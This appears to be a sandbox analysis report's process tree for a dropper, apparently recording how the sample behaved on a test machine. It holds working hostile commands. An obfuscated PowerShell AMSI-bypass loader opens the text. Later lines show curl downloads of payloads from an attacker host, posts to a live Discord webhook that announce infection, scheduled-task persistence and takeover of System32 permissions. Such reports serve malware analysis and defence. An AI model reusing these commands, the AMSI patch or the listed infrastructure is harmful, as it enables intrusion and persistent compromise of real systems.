@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TzFbcYQwBWU=$rlsgIwglFeXTb.GetMethod(''+'G'+'e'+[Char](116)+'Mod'+[Char](117)+''+[Char](108)+''+'e'+''+'H'+''+'a'+'ndl'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')));$yxVVHEtRRcwLrt=$qRbADMlCMXDMbP.Invoke($Null,@([Object]$TzFbcYQwBWU,[Object](''+[Char](76)+''+'o'+''+[Char](97)+'d'+[Char](76)+''+'i'+''+'b'+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+'A')));$JTsQHTJjijvAqouIF=$qRbADMlCMXDMbP.Invoke($Null,@([Object]$TzFbcYQwBWU,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'Pr'+[Char](111)+''+[Char](116)+''+[Char](101)+'ct')));$EtItkiw=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yxVVHEtRRcwLrt,$dWaUMQXAEiAXorDSbXh).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$rmFzTXdzcwsXVeMhS=$qRbADMlCMXDMbP.Invoke($Null,@([Object]$EtItkiw,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+'Sc'+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+'ff'+[Char](101)+''+[Char](114)+'')));$CGNHjKRiKR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JTsQHTJjijvAqouIF,$pXTGShfRMRQzpankShrQzY).Invoke($rmFzTXdzcwsXVeMhS,[uint32]8,4,[ref]$CGNHjKRiKR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$rmFzTXdzcwsXVeMhS,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JTsQHTJjijvAqouIF,$pXTGShfRMRQzpankShrQzY).Invoke($rmFzTXdzcwsXVeMhS,[uint32]8,0x20,[ref]$CGNHjKRiKR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+'FT'+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1388
- C:\Users\Admin\AppData\Roaming\yar.exe
  C:\Users\Admin\AppData\Roaming\yar.exe
  2⤵
  PID:4528
- C:\Users\Admin\AppData\Roaming\svvhost.exe
  C:\Users\Admin\AppData\Roaming\svvhost.exe
  2⤵
  PID:3380
- C:\Users\Admin\AppData\Local\penisware.exe
  C:\Users\Admin\AppData\Local\penisware.exe
  2⤵
  PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1368
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1856
- C:\Windows\system32\AUDIODG.EXE
  C:\Windows\system32\AUDIODG.EXE 0x324 0x490
  2⤵
  PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1796

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2072

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2712

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2852

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3412

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3500
- C:\Users\Admin\AppData\Local\Temp\Dropper.exe
  "C:\Users\Admin\AppData\Local\Temp\Dropper.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl "https://discord.com/api/webhooks/1239677728240832532/RFIoqPa0RsA3ISZRB7mropzgu-w8H3HuWhnGN1Nqe_5NlnvP2SuBf7hFvNWch7r5TDhv" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1968
  - - C:\Windows\SysWOW64\curl.exe
      curl "https://discord.com/api/webhooks/1239677728240832532/RFIoqPa0RsA3ISZRB7mropzgu-w8H3HuWhnGN1Nqe_5NlnvP2SuBf7hFvNWch7r5TDhv" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
      4⤵
      PID:2356
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl https://recte.host/xworm/yar.exe --output C:\Users\Admin\yar.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4032
  - - C:\Windows\SysWOW64\curl.exe
      curl https://recte.host/xworm/yar.exe --output C:\Users\Admin\yar.exe
      4⤵
      PID:4312
- - C:\Users\Admin\yar.exe
    "C:\Users\Admin\yar.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    PID:1836
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "yar" /tr "C:\Users\Admin\AppData\Roaming\yar.exe"
      4⤵
      Creates scheduled task(s)
      PID:4616
  - - C:\Users\Admin\AppData\Local\Temp\cwnctj.exe
      "C:\Users\Admin\AppData\Local\Temp\cwnctj.exe"
      4⤵
      PID:1144
  - - C:\Users\Admin\AppData\Local\Temp\jzkbst.exe
      "C:\Users\Admin\AppData\Local\Temp\jzkbst.exe"
      4⤵
      PID:2032
    - - C:\Users\Admin\AppData\Local\Temp\jzkbst.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jzkbst.exe" /watchdog
        5⤵
        
        PID:948
    - - C:\Users\Admin\AppData\Local\Temp\jzkbst.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jzkbst.exe" /watchdog
        5⤵
        
        PID:704
    - - C:\Users\Admin\AppData\Local\Temp\jzkbst.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jzkbst.exe" /watchdog
        5⤵
        
        PID:4368
    - - C:\Users\Admin\AppData\Local\Temp\jzkbst.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jzkbst.exe" /watchdog
        5⤵
        
        PID:5076
    - - C:\Users\Admin\AppData\Local\Temp\jzkbst.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jzkbst.exe" /watchdog
        5⤵
        
        PID:4332
    - - C:\Users\Admin\AppData\Local\Temp\jzkbst.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jzkbst.exe" /main
        5⤵
        
        PID:2100
      - C:\Windows\SysWOW64\notepad.exe
        
        "C:\Windows\System32\notepad.exe" \note.txt
        6⤵
        
        PID:1888
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://google.co.ck/search?q=virus+builder+legit+free+download
        6⤵
        
        PID:6524
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe2ad146f8,0x7ffe2ad14708,0x7ffe2ad14718
        7⤵
        
        PID:1976
  - - C:\Users\Admin\AppData\Local\Temp\idlbjl.exe
      "C:\Users\Admin\AppData\Local\Temp\idlbjl.exe"
      4⤵
      PID:3324
    - - C:\DRACO.EXE
        
        "C:\DRACO.EXE"
        5⤵
        
        PID:1988
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        6⤵
        
        PID:4620
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1628
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32 /grant "Admin:F"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2324
      - C:\Users\Admin\AppData\Local\Temp\2881554434\C37S31I5F02A1MR1K86.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2881554434\C37S31I5F02A1MR1K86.exe"
        6⤵
        
        PID:1104
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:4612
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5368
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32 /grant "Admin:F"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6036
      - C:\Users\Admin\AppData\Local\Temp\acrocef_low\S65B25J0D24F0OR2M83.exe
        
        "C:\Users\Admin\AppData\Local\Temp\acrocef_low\S65B25J0D24F0OR2M83.exe"
        6⤵
        
        PID:3216
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:2916
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5840
      - C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\A38T68J6P35U8PE3B47.exe
        
        "C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\A38T68J6P35U8PE3B47.exe"
        6⤵
        
        PID:920
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:5204
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5796
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32 /grant "Admin:F"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6348
      - C:\Users\Admin\AppData\Local\Temp\Low\J62T74I2E22W4GT1X76.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Low\J62T74I2E22W4GT1X76.exe"
        6⤵
        
        PID:3880
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:6048
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6748
      - C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\D54X88Q1G83I0MG8S40.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\D54X88Q1G83I0MG8S40.exe"
        6⤵
        
        PID:2032
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:6044
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7136
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32 /grant "Admin:F"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6948
      - C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\A65Y25Q3Q25C7PT1I01.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\A65Y25Q3Q25C7PT1I01.exe"
        6⤵
        
        PID:4508
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:5648
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5648 -s 384
        8⤵
        Program crash
        
        PID:6428
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5648 -s 396
        8⤵
        Program crash
        
        PID:4612
      - C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\L47H85O6I07R7VL6O25.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\L47H85O6I07R7VL6O25.exe"
        6⤵
        
        PID:2212
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:5504
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5504 -s 76
        8⤵
        Program crash
        
        PID:6180
      - C:\Users\Admin\AppData\Local\Temp\OneNote\U60H02N2X04S2MA5L54.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OneNote\U60H02N2X04S2MA5L54.exe"
        6⤵
        
        PID:5392
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:1276
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6404
        
        C:\Users\Admin\AppData\Local\Temp\OneNote\16.0\S42Z02V8U44C4RL5L86.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OneNote\16.0\S42Z02V8U44C4RL5L86.exe"
        7⤵
        
        PID:6508
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        8⤵
        
        PID:4184
        
        C:\Users\Admin\AppData\Local\Temp\OneNote\16.0\Exported\J81D76N6B61F5DL4C63.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OneNote\16.0\Exported\J81D76N6B61F5DL4C63.exe"
        8⤵
        
        PID:7056
      - C:\Users\Admin\AppData\Local\Temp\WE_DO_H0\N54T38Q7M78H7LV3A87.exe
        
        "C:\Users\Admin\AppData\Local\Temp\WE_DO_H0\N54T38Q7M78H7LV3A87.exe"
        6⤵
        
        PID:5704
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:5336
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6204
      - C:\Users\Admin\AppData\Local\Temp\WE_DO_H1\A03D40R3U33G4QH6T36.exe
        
        "C:\Users\Admin\AppData\Local\Temp\WE_DO_H1\A03D40R3U33G4QH6T36.exe"
        6⤵
        
        PID:2068
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:7112
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6452
      - C:\Users\Admin\AppData\Local\Temp\WE_DO_H2\C61E70O0N13M8OB2K43.exe
        
        "C:\Users\Admin\AppData\Local\Temp\WE_DO_H2\C61E70O0N13M8OB2K43.exe"
        6⤵
        
        PID:5736
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:7096
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6200
      - C:\Users\Admin\AppData\Local\Temp\WE_DO_H3\V24R74W8C82E7ND0D43.exe
        
        "C:\Users\Admin\AppData\Local\Temp\WE_DO_H3\V24R74W8C82E7ND0D43.exe"
        6⤵
        
        PID:2860
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:2280
      - C:\Users\Admin\AppData\Local\Temp\WE_DO_H4\N38C07T0U03P1NX6W56.exe
        
        "C:\Users\Admin\AppData\Local\Temp\WE_DO_H4\N38C07T0U03P1NX6W56.exe"
        6⤵
        
        PID:3356
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:6276
      - C:\Users\Admin\AppData\Local\Temp\{332AB619-B716-4586-ADE7-FB2C61A0C00F}\W71U60Q3Z84K4ME2B16.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{332AB619-B716-4586-ADE7-FB2C61A0C00F}\W71U60Q3Z84K4ME2B16.exe"
        6⤵
        
        PID:6568
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant "%username%:F" && exit
        7⤵
        
        PID:6920
  - - C:\Users\Admin\AppData\Local\Temp\pftcxn.exe
      "C:\Users\Admin\AppData\Local\Temp\pftcxn.exe"
      4⤵
      PID:5560
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl https://recte.host/venom/scchost.exe --output C:\Users\Admin\sachost.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3716
  - - C:\Windows\SysWOW64\curl.exe
      curl https://recte.host/venom/scchost.exe --output C:\Users\Admin\sachost.exe
      4⤵
      PID:916
- - C:\Users\Admin\sachost.exe
    "C:\Users\Admin\sachost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4308
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl https://recte.host/xworm/penisware.exe --output C:\Users\Admin\penisware.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1068
  - - C:\Windows\SysWOW64\curl.exe
      curl https://recte.host/xworm/penisware.exe --output C:\Users\Admin\penisware.exe
      4⤵
      PID:404
- - C:\Users\Admin\penisware.exe
    "C:\Users\Admin\penisware.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    PID:1924
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "penisware" /tr "C:\Users\Admin\AppData\Local\penisware.exe"
      4⤵
      Creates scheduled task(s)
      PID:2032
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl https://recte.host/venom/penisware2.exe --output C:\Users\Admin\penisballs.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4484
  - - C:\Windows\SysWOW64\curl.exe
      curl https://recte.host/venom/penisware2.exe --output C:\Users\Admin\penisballs.exe
      4⤵
      PID:2660
- - C:\Users\Admin\penisballs.exe
    "C:\Users\Admin\penisballs.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2676
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl https://recte.host/xworm/physics.exe --output C:\Users\Admin\physics.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4268
  - - C:\Windows\SysWOW64\curl.exe
      curl https://recte.host/xworm/physics.exe --output C:\Users\Admin\physics.exe
      4⤵
      PID:4412
- - C:\Users\Admin\physics.exe
    "C:\Users\Admin\physics.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3172
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl https://recte.host/venom/calc.exe --output C:\Users\Admin\calc.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5004
  - - C:\Windows\SysWOW64\curl.exe
      curl https://recte.host/venom/calc.exe --output C:\Users\Admin\calc.exe
      4⤵
      PID:4960
- - C:\Users\Admin\calc.exe
    "C:\Users\Admin\calc.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    PID:3904
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svvhost" /tr "C:\Users\Admin\AppData\Roaming\svvhost.exe"
      4⤵
      Creates scheduled task(s)
      PID:2292
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1952
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl https://recte.host/r77/Install.exe --output C:\Users\Admin\install.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4732
  - - C:\Windows\SysWOW64\curl.exe
      curl https://recte.host/r77/Install.exe --output C:\Users\Admin\install.exe
      4⤵
      PID:1864
- - C:\Users\Admin\install.exe
    "C:\Users\Admin\install.exe"
    3⤵
    - Executes dropped EXE
    PID:2468
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl "https://discord.com/api/webhooks/1239677728240832532/RFIoqPa0RsA3ISZRB7mropzgu-w8H3HuWhnGN1Nqe_5NlnvP2SuBf7hFvNWch7r5TDhv" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""@everyone`yar.exe, sachost.exe, penisware.exe, penisballs.exe, physics.exe, calc.exe, and install.exe` Were Just Run On `Admin`'s PC"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
    3⤵
    PID:2140
  - - C:\Windows\SysWOW64\curl.exe
